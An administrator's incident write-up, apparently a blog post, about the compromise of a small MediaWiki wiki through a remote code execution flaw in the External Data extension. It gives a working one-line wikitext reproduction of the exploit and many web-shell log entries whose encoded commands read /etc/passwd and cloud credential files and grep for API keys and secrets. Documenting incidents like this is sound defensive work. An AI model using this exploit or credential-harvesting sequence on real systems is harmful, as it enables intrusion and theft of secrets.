An Update on the September 26th Incident
NOTEThis post is meant to be more of a technical analysis, so please read the Security Notice first, if you have an Obby Wiki account.
WARNINGThis post has yet to be fully revised (90%), and may change in the future, given it could include errors in its current state.
This is a follow-up on what happened last week on the 26th of September (2026). If you are unaware, I suggest you read the Security Notice I posted on the 28th, as it describes any action required from you in case you have an Obby Wiki account, and any plausible risks and user-impact if you have an Obby Wiki account.
To set up some context before the rest of this post, I, Wolfite, run the backend operations for the Obby Wiki, a relatively small (<200 users) wiki powered by MediaWiki (1.46). On the Obby Wiki, we used (used) an extension named External Data in order to fetch live statistics and database information from Roblox, which was used to display statistics, game passes, and badges on articles automatically, as well as servicing the large Cargo database, which we sometimes use to categorize articles by visits, likes/dislikes, favorites, etc.
The matter is, sometime around August or September of 2025, I installed External Data (the extension) for the express purpose of using it to fetch APIs, such as our edge endpoints. Unfortunately, what I did not realize at that time, is that External Data does a whole lot more than I wanted, and that functionality eventually resulted in the compromise of the OW app container on the 26th.
I am displeased with the situation and how it was handled, but I would like to recount it from my perspective nonetheless.
To set a timeline:
Aug 14: Initial disclosure
What later became CVE-2026-100382 was published on the 14th of August, 2026, by SomeRandomDeveloper, who I believe is affiliated with Miraheze, but I'm not sure. Point is, the initial vulnerability was disclosed in secret. This vulnerability, that is now a CVSS 10.0, allowed for a complete unauthenticated RCE on PHP's user (likely www-data).
A user, logged out, could run a completely unchecked command as PHP's user. The reproduction steps are quite literally these two steps:
- Go to Special:ExpandTemplates: and paste
{{#get_program_data:program=a|Command=touch /tmp/externaldata.txt}}as the wikitext - Click "OK"
$ ls -lS /tmp | grep external-rw-r--r--. 1 1000 1000 0 Aug 14 22:37 externaldata.txtThis was also possible programmatically via api.php, which is what the attackers used.
Aug 15-22: Public patch
A fix was iterated and published in the public, but only (from what I can tell) to master. The contributor noted that they did not know about private patches, and I'm not going to comment on this any further.
I run the backend of the Obby Wiki independently, and do not have a large security team to track things like this.
Sep 25 @ 21:04: UTC
This was when the task was made public, and when I assume CVE-2026-100382 was published, publicly. I was not made aware, as weren't most people, or anyone I've seen. I disagree with how this CVE is published by WMF, but I digress.
As general advice for any wiki admins, I suggest you remove External Data entirely. I personally switched it out for Apiunto, a much more lightweight extension that has a much smaller surface for vulnerabilities.
Correction: It is worth noting that some sources say that the CVE was published at 22:17: UTC.
Sep 26 @ 00:14: UTC
Around 00:14: UTC, or roughly 3 hours and 10 minutes (or even less) after the initial public disclosure, my container was compromised. The attackers, masked by 91.92.241.215, entered via a web-shell, first probing its existence with GET /Nx_pmgcr.php, which returned a 200 OK and 116 bytes.
If I had the security measures that I do today in place by this point, I would have been alerted by 00:20: UTC, at the latest. I should've taken security as a higher priority task, and will do so in the future. However, I did not, and I was unaware until over 24 hours later.
Sep 26 @ 00:33:39: UTC
19 minutes later, the same TA returned again to probe for the web shell, but this time from 95.173.222.27.
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:39 +0000] "GET /Nx_pmgcr.php HTTP/1.1" 200 116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"Yes, I do believe this attack was automated.
Sep 26 @ 00:33:41: UTC
2 seconds later, the attacker begins probing for system information, beginning with commands whoami and id.
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:41 +0000] "GET /Nx_pmgcr.php?c=whoami HTTP/1.1" 200 136 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:42 +0000] "GET /Nx_pmgcr.php?c=id HTTP/1.1" 200 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"My best guess is that they used this information to plan their attack strategy. Or, the bot, at least, since I believe this was definitely automated.
Since the entrypoint was through the PHP-FPM process, they were running commands through www-data within the container, which is what whoami likely returned. That roughly correlates with how many bytes were returned.
It is worth noting that I am not a security analyst in any way, and I could be wrong about anything below.
As part of the identity probing, they also ran:
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:44 +0000] "GET /Nx_pmgcr.php?c=hostname+-f+2%3E%2Fdev%2Fnull+%7C%7C+hostname HTTP/1.1" 200 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"Sep 26 @ 00:33:48: UTC
4 seconds later, the bot had its task, and began attempting to find LocalSettings.php.
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:48 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-name+LocalSettings.php+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-5 HTTP/1.1" 200 363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"They began by searching for LocalSettings.php, even though it was properly mounted in a predictable place.
Next, they attempted to read the LocalSettings.php entry they found, but instead of finding my actual configurations, they read a random mock LocalSettings.php from a RelatedArticles test file. I do not believe this extension was even loaded at the time, it was just sitting there.
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:48 +0000] "GET /Nx_pmgcr.php?c=cat+%27%2Fvar%2Fwww%2Fhtml%2Fextensions%2FRelatedArticles%2Ftests%2Fselenium%2FLocalSettings.php%27 HTTP/1.1" 200 279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"Sep 26 @ 00:33:49: UTC
In the same continuous effort, they began grepping for credentials immediately. Namely, KEY, SECRET, TOKEN, PASS, AWS, API, SMTP, MAIL, DB, MONGO, REDIS, and S3.
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:49 +0000] "GET /Nx_pmgcr.php?c=env+2%3E%2Fdev%2Fnull+%7C+grep+-iE+%27%28KEY%7CSECRET%7CTOKEN%7CPASS%7CAWS%7CAPI%7CSMTP%7CMAIL%7CDB%7CMONGO%7CREDIS%7CS3%29%27+%7C+head+-30 HTTP/1.1" 200 1164 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"You can see the amount of bytes in the response was 1164, which likely means they hit something. I assume this was my SMTP credentials (as well as OAuth tokens), since I saw a request spike within the same hour on my SES dashboard. I was able to pause my account and deactivate the user in time. The amount of emails sent was relatively low, which was likely an attempt to avoid detection, as they probably wanted to sell the key rather than abuse it (given the fact that they used it so little). I found no evidence that the OAuth client tokens/secrets were used, and they were scoped responsibly to as little information as possible. They have since been rolled.
A few more probing requests over the next few seconds:
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:50 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fetc%2Fpasswd+2%3E%2Fdev%2Fnull+%7C+head+-30 HTTP/1.1" 200 967 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:00:33:51 +0000] "GET /Nx_pmgcr.php?c=cat+%2Froot%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull%3B+cat+%2Fhome%2F%2A%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull%3B+cat+~%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "95.173.222.27"I am surprised they didn't try more requests faster, but considering how little time between the disclosure and this attack there was, I am guessing that is because they rushed.
No more logs for 1 and a half minutes. I wasn't able to retain many logs, so this doesn't mean that there was no activity.
Sep 26 @ 00:35:20: UTC
Interestingly, the original attacker IP, 91.92.241.215, returns, probing the first web shell again:
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:20 +0000] "GET /Nx_pmgcr.php HTTP/1.1" 200 116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"They then immediately execute the rest of the task, just faster.
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:21 +0000] "GET /Nx_pmgcr.php?c=whoami HTTP/1.1" 200 136 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:23 +0000] "GET /Nx_pmgcr.php?c=id HTTP/1.1" 200 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:24 +0000] "GET /Nx_pmgcr.php?c=hostname+-f+2%3E%2Fdev%2Fnull+%7C%7C+hostname HTTP/1.1" 200 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"The usual whoami, id, etc.
They then make the exact same mistake by reading a random test mock LocalSettings.php, that's my attacker!
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:25 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-name+LocalSettings.php+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-5 HTTP/1.1" 200 363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:25 +0000] "GET /Nx_pmgcr.php?c=cat+%27%2Fvar%2Fwww%2Fhtml%2Fextensions%2FRelatedArticles%2Ftests%2Fselenium%2FLocalSettings.php%27 HTTP/1.1" 200 279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"They scan for more credentials, with a slightly new method.
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:26 +0000] "GET /Nx_pmgcr.php?c=env+2%3E%2Fdev%2Fnull+%7C+grep+-iE+%27%28KEY%7CSECRET%7CTOKEN%7CPASS%7CAWS%7CAPI%7CSMTP%7CMAIL%7CDB%7CMONGO%7CREDIS%7CS3%29%27+%7C+head+-30 HTTP/1.1" 200 1164 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:28 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fetc%2Fpasswd+2%3E%2Fdev%2Fnull+%7C+head+-30 HTTP/1.1" 200 967 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:35:28 +0000] "GET /Nx_pmgcr.php?c=cat+%2Froot%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull%3B+cat+%2Fhome%2F%2A%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull%3B+cat+~%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"1164 and 967 bytes read, so they likely hit something. The other was a miss.
Sep 26 @ 00:39:02: UTC
~3.5 minutes later they return with a refined script, running uname -a now. Then, they refined their search, and instead of hitting a random LocalSettings.php test mock, they hit the real thing! Congratulations!
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:39:08 +0000] "GET /Nx_pmgcr.php?c=cat+%27%2Fvar%2Fwww%2Fhtml%2FLocalSettings.php%27 HTTP/1.1" 200 38890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "91.92.241.215"There are no secrets in that file. They get 38890 bytes of cluttered configs.
They then grep for more credentials, checking for .env inside the container, which makes no sense to me. They receive nothing.
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:39:12 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fvar%2Fwww%2Fhtml%2F.env+%2Fvar%2Fwww%2F.env+%2Fapp%2F.env+%2Fopt%2F.env+2%3E%2Fdev%2Fnull+%7C+head+-40 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "91.92.241.215"Correction: At this time, they also add STRIPE, SENDGRID, BREVO, and TWILIO to their search, with the search head -20 instead of head -30, which hit credentials they already had. They also reread /etc/passwd.
Sep 26 @ 00:52:14: UTC
A little over 10 minutes later they return to use the same web shell via 95.173.222.27 again, but this time with an upgraded script!
This time they checked for docker-compose files, inside the container...? They also checked for secrets within the bash history. And then docker-compose files, again, with the same command, seconds later. Second time's the charm? What if this container has containers?
Then, they specifically grep for AWS secrets, finding (probably) my SMTP credentials:
wiki_web | 95.173.222.27 - - [26/Sep/2026:00:52:35 +0000] "GET /Nx_pmgcr.php?c=grep+-r+%27AKIA%27+%2Fvar%2Fwww%2F+%2Fopt%2F+%2Fapp%2F+%2Fhome%2F+%2Froot%2F+%2Fetc%2F+--include%3D%27%2A.php%27+--include%3D%27%2A.env%27+--include%3D%27%2A.yml%27+--include%3D%27%2A.yaml%27+--include%3D%27%2A.json%27+--include%3D%27%2A.conf%27+--include%3D%27%2A.cfg%27+--include%3D%27%2A.ini%27+--include%3D%27%2A.txt%27+--include%3D%27%2A.sh%27+--include%3D%27%2A.py%27+-l+2%3E%2Fdev%2Fnull+%7C+head+-20 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "95.173.222.27"wiki_web | 95.173.222.27 - - [26/Sep/2026:00:52:38 +0000] "GET /Nx_pmgcr.php?c=grep+-rE+%27%28AKIA%5BA-Z0-9%5D%7B%7B16%7D%7D%7Caws_secret%7CAWS_SECRET%7Caws_access%7Cs3%5C.amazonaws%29%27+%2Fvar%2Fwww%2F+%2Fopt%2F+%2Fapp%2F+%2Fhome%2F+%2Froot%2F+--include%3D%27%2A.php%27+--include%3D%27%2A.env%27+--include%3D%27%2A.yml%27+--include%3D%27%2A.json%27+--include%3D%27%2A.conf%27+--include%3D%27%2A.py%27+2%3E%2Fdev%2Fnull+%7C+head+-20 HTTP/1.1" 200 713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "95.173.222.27"Greedy, unsurprisingly. They then continue with more credential grepping attempts, before leaving for 2 minutes.
Sep 26 @ 00:54:40: UTC
Welcome back!
Instead of testing the waters with whoami again, they immediately run for more secrets! This time, they tune their approach to include queries for AI API keys, such as OPENAI, ANTHROPIC, AZURE, GEMINI, CLAUDE, MISTRAL (really), HUGGING (for HuggingFace), and COHERE, which I don't recognize.
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:47 +0000] "GET /Nx_pmgcr.php?c=env+2%3E%2Fdev%2Fnull+%7C+grep+-iE+%27%28OPENAI%7CANTHROPIC%7CAZURE%7CGEMINI%7CCLAUDE%7CGPT%7CMISTRAL%7CCOHERE%7CHUGGING%7CHF_%29%27 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:49 +0000] "GET /Nx_pmgcr.php?c=grep+-rE+%27%28sk-%5Ba-zA-Z0-9%5D%7B20%2C%7D%7Csk-ant-%5Ba-zA-Z0-9-%5D%7B20%2C%7D%7Csk-proj-%5Ba-zA-Z0-9-%5D%7B20%2C%7D%29%27+%2Fvar%2Fwww%2F+%2Fopt%2F+%2Fapp%2F+%2Fhome%2F+%2Froot%2F+--include%3D%27%2A.php%27+--include%3D%27%2A.env%27+--include%3D%27%2A.yml%27+--include%3D%27%2A.yaml%27+--include%3D%27%2A.json%27+--include%3D%27%2A.conf%27+--include%3D%27%2A.py%27+--include%3D%27%2A.js%27+--include%3D%27%2A.ts%27+2%3E%2Fdev%2Fnull+%7C+head+-20 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"Over the next few seconds, they probe for more, and more, and more secrets. Eventually, they expand their greps to include a wider variety of keys, such as AZURE (again), GCP (Google Cloud), GOOGLE, DIGITALOCEAN, LINODE, VULTR (unfamiliar), HETZNER, then STRIPE, SENDGRID, MAILGUN, TWILIO. In the same query, they expand their search of AI keys to DEEPSEEK, GROQ (the inference company, I believe, not Grok), then REPLICATE and TOGETHER, which I am unfamiliar with.
Then, they repeat all these steps again, in the same order. For reference, this is what I'm going off of:
wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:50 +0000] "GET /Nx_pmgcr.php?c=cat+%2Froot%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials+~%2F.aws%2Fcredentials+2%3E%2Fdev%2Fnull HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:51 +0000] "GET /Nx_pmgcr.php?c=cat+%2Froot%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig+~%2F.aws%2Fconfig+2%3E%2Fdev%2Fnull HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:52 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-maxdepth+5+-name+%27docker-compose%2A%27+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-5 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:54 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-maxdepth+5+-name+%27.env%27+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-10 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:55 +0000] "GET /Nx_pmgcr.php?c=cat+%2Froot%2F.bash_history+%2Fhome%2F%2A%2F.bash_history+2%3E%2Fdev%2Fnull+%7C+grep+-iE+%27%28aws%7CAKIA%7Cs3%7Cses%7Cboto%7Copenai%7Canthropic%7Csk-ant%7Csk-proj%29%27+%7C+head+-10 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:55 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull+%7C+tr+%27%5C0%27+%27%5Cn%27+%7C+grep+-iE+%27%28AWS%7CAKIA%7CSECRET%7CS3%7COPENAI%7CANTHROPIC%7CAZURE%7Csk-%29%27+%7C+head+-10 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:56 +0000] "GET /Nx_pmgcr.php?c=cat+%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull+%7C+tr+%27%5C0%27+%27%5Cn%27+%7C+grep+-iE+%27%28AWS%7CAKIA%7CSECRET%7CS3%7COPENAI%7CANTHROPIC%7CAZURE%7Csk-%29%27+%7C+head+-10 HTTP/1.1" 200 761 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:57 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-maxdepth+5+-name+%27.env%27+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-10 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:58 +0000] "GET /Nx_pmgcr.php?c=find+%2F+-maxdepth+5+-name+%27docker-compose%2A%27+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-5 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:54:59 +0000] "GET /Nx_pmgcr.php?c=grep+-r+%27AKIA%27+%2Fvar%2Fwww%2F+%2Fopt%2F+%2Fapp%2F+%2Fhome%2F+%2Froot%2F+%2Fetc%2F+--include%3D%27%2A.php%27+--include%3D%27%2A.env%27+--include%3D%27%2A.yml%27+--include%3D%27%2A.yaml%27+--include%3D%27%2A.json%27+--include%3D%27%2A.conf%27+--include%3D%27%2A.cfg%27+--include%3D%27%2A.ini%27+--include%3D%27%2A.txt%27+--include%3D%27%2A.sh%27+--include%3D%27%2A.py%27+-l+2%3E%2Fdev%2Fnull+%7C+head+-20 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:55:02 +0000] "GET /Nx_pmgcr.php?c=grep+-rE+%27%28AKIA%5BA-Z0-9%5D%7B%7B16%7D%7D%7Caws_secret%7CAWS_SECRET%7Caws_access%7Cs3%5C.amazonaws%7Csk-%5Ba-zA-Z0-9%5D%7B%7B20%2C%7D%7D%7Csk-ant-%7Csk-proj-%7CANTHROPIC_API%7COPENAI_API%7CAZURE_OPENAI%29%27+%2Fvar%2Fwww%2F+%2Fopt%2F+%2Fapp%2F+%2Fhome%2F+%2Froot%2F+--include%3D%27%2A.php%27+--include%3D%27%2A.env%27+--include%3D%27%2A.yml%27+--include%3D%27%2A.json%27+--include%3D%27%2A.conf%27+--include%3D%27%2A.py%27+--include%3D%27%2A.js%27+2%3E%2Fdev%2Fnull+%7C+head+-20 HTTP/1.1" 200 713 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:55:03 +0000] "GET /Nx_pmgcr.php?c=env+2%3E%2Fdev%2Fnull+%7C+grep+-iE+%27%28AZURE%7CGCP%7CGOOGLE%7CDIGITALOCEAN%7CDO_%7CLINODE%7CVULTR%7CHETZNER%7COVH%7CSTRIPE%7CSENDGRID%7CMAILGUN%7CTWILIO%7COPENAI%7CANTHROPIC%7CCLAUDE%7CMISTRAL%7CCOHERE%7CHUGGING%7CGEMINI%7CDEEPSEEK%7CGROQ%7CREPLICATE%7CTOGETHER%29%27+%7C+head+-15 HTTP/1.1" 200 192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"wiki_web | 91.92.241.215 - - [26/Sep/2026:00:55:04 +0000] "GET /Nx_pmgcr.php?c=find+%2Fvar%2Fwww+%2Fopt+%2Fapp+-maxdepth+4+%5C%28+-name+%27config.php%27+-o+-name+%27settings.php%27+-o+-name+%27database.php%27+-o+-name+%27mail.php%27+%5C%29+-type+f+2%3E%2Fdev%2Fnull+%7C+head+-10 HTTP/1.1" 200 127 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "91.92.241.215"And then, finally, silence for my server, for ~7 minutes. Mind you, it has now only been 3-4 hours since the initial public disclosure, which I still had no idea about.
Sep 26 @ 01:02:01: UTC
A challenger! A new TA from 194.61.28.204 enters the ring, uploading a new web shell in the form of what I believe is a control panel. I am unable to verify this being a new TA 100%, but given that they are using both a different method and did not previously interact with any of the other TA's work, I am assuming this is a separate actor.
wiki_web | 194.61.28.204 - - [26/Sep/2026:01:02:01 +0000] "GET /7ye8oaju0ydn.php HTTP/1.1" 200 80095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:02:02 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:02:02 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 46987 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:08:13 +0000] "GET /7ye8oaju0ydn.php HTTP/1.1" 200 80095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:08:14 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 304 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:08:25 +0000] "GET /7ye8oaju0ydn.php HTTP/1.1" 200 80095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"wiki_web | 194.61.28.204 - - [26/Sep/2026:01:08:26 +0000] "POST /7ye8oaju0ydn.php HTTP/1.1" 200 304 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "194.61.28.204"These logs are not very revealing. They only show (from assumption) that this attacker prefers a web panel. They are also spoofing Chrome/128 as well, which is interesting.
Sep 26 @ 01:14:37: UTC
The previous TA returns with another web-shell!
wiki_web | 91.92.241.215 - - [26/Sep/2026:01:14:37 +0000] "GET /Nx_3c1yb.php HTTP/1.1" 200 116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "91.92.241.215"And doesn't use it yet.
Sep 26 @ 01:29:42: UTC
Instead, they upload another, via a new IP 124.108.50.136 (which was never seen again). This time, it goes completely unused. Talk about the environment; wasteful.
wiki_web | 124.108.50.136 - - [26/Sep/2026:01:29:42 +0000] "GET /Nx_s73ug.php HTTP/1.1" 200 116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "124.108.50.136"For reference, here is a look at the contents of the app container while I was investigating the vulnerability on the 27th.
docker compose exec app ls -latotal 2588drwxrwxrwt 15 www-data www-data 4096 Sep 26 01:29 .drwxr-xr-x 3 root root 4096 Sep 24 19:01 ..-rw-r--r-- 1 www-data www-data 9 Sep 26 01:01 .nxwmq9tug-rw-r--r-- 1 root root 7 Jul 10 23:26 .obbywiki-image-id-rw-r--r-- 1 www-data www-data 15206 Sep 26 01:02 7ye8oaju0ydn.php-rw-r--r-- 1 502 staff 168 Jun 26 05:58 CODE_OF_CONDUCT.md-rw-r--r-- 1 502 staff 19309 Jun 26 05:58 COPYING-rw-r--r-- 1 502 staff 17189 Jun 30 11:54 CREDITS-rw-r--r-- 1 502 staff 95 Jun 26 05:58 FAQ-rw-r--r-- 1 502 staff 1828649 Jun 30 11:54 HISTORY-rw-r--r-- 1 502 staff 3762 Jun 30 11:54 INSTALL-rw-r--r-- 1 root root 38784 Sep 27 03:31 LocalSettings.php-rw-r--r-- 1 www-data www-data 304 Sep 26 01:14 Nx_3c1yb.php-rw-r--r-- 1 www-data www-data 304 Sep 26 00:14 Nx_pmgcr.php-rw-r--r-- 1 www-data www-data 304 Sep 26 01:29 Nx_s73ug.php-rw-r--r-- 1 502 staff 1662 Jun 26 05:58 README.md-rw-r--r-- 1 502 staff 51201 Jun 30 11:54 RELEASE-NOTES-1.46-rw-r--r-- 1 502 staff 199 Jun 26 05:58 SECURITY-rw-r--r-- 1 502 staff 4394 Jun 26 05:58 UPGRADE-rw-r--r-- 1 502 staff 780 Jun 26 05:58 api.php-rw-r--r-- 1 502 staff 462554 Jun 30 11:54 autoload.php-rw-r--r-- 1 502 staff 3812 Jun 30 11:54 bundlesize.config.jsondrwxr-xr-x 2 www-data www-data 28672 Sep 27 03:31 cache-rw-r--r-- 1 502 staff 9001 Jun 30 11:54 composer.json-rw-r--r-- 1 502 staff 125 Jun 26 05:58 composer.local.json-sampledrwxr-xr-x 5 root root 4096 Jul 2 21:26 docsdrwxr-xr-x 96 www-data www-data 4096 Sep 22 09:33 extensionsdrwxr-xr-x 26 www-data www-data 4096 Sep 26 01:01 images-rw-r--r-- 1 502 staff 1509 Jun 26 05:58 img_auth.phpdrwxr-xr-x 100 root root 4096 Jul 2 21:26 includes-rw-r--r-- 1 502 staff 1482 Jun 26 05:58 index.php-rw-r--r-- 1 502 staff 1104 Jun 30 11:54 jsdoc.jsondrwxr-xr-x 